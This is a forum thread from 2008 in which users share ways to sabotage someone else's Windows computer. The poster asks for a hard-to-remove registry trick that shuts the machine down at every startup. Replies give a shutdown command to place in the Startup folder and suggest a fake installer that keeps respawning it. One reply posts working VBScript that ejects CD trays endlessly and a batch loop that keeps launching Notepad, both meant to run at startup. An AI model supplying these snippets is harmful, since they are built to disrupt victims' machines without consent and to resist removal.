Virtual Pancake 26 Posted May 31, 2008 I was wondering if someone could make a tutorial for adding shutdown into someones registry on Windows operating systems so every time you start up the computer, it shuts down? And at the bottom for little bonuses, show how you can change the time and what the message says in the box? I believe Jiggie told me once but I lost the txt file on a corrupted hard drive.

Mudkiepz 81 Posted May 31, 2008 make one who just starts cmd and types "shutdown -s -t <amount of time> -c "message"... or make a shortcut to it, or txt to batch. Share this post Link to post
Suteki 114 Posted May 31, 2008 And to have it automatically run at startup, put it into the "Startup" folder, which on XP is usually located at C:Documents and Settings/All Users/Start Menu/Programs/Startup (they are forward slashes instead of backslashes because for whatever reason it removes the backslashes everytime from my post) Share this post Link to post
Mudkiepz 81 Posted May 31, 2008 I was going to say that, thats what i meant. Share this post Link to post
Virtual Pancake 26 Posted May 31, 2008 I don't want it to be easy to fix... I want something that involves editing the registry. =D Share this post Link to post
Mudkiepz 81 Posted May 31, 2008 Uhh... It wont be easily fixable unless they go in safe mode... Just do it on lets say 85% of all people? 85% of all people dont know how to remove it. Or maybe even more! Or... you could make a false installation that installs infinite of those startup-shutdown things in all folders, and when one of them gets deleted, it applies again :P Good luck lool Share this post Link to post
Virtual Pancake 26 Posted May 31, 2008 I do not care. I don't want to be like a noob and make a simple little shortcut. I want to know how to do it in the registry! Share this post Link to post
LoyaL 68 Posted June 1, 2008 (edited) If you want to fuck with someone, i have the best VBs code in the world. Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop and also @ECHO off :top START %SystemRoot%system32notepad.exe GOTO top Set those to run on startup. lolololol :D Edited June 1, 2008 by LoyaL Share this post Link to post
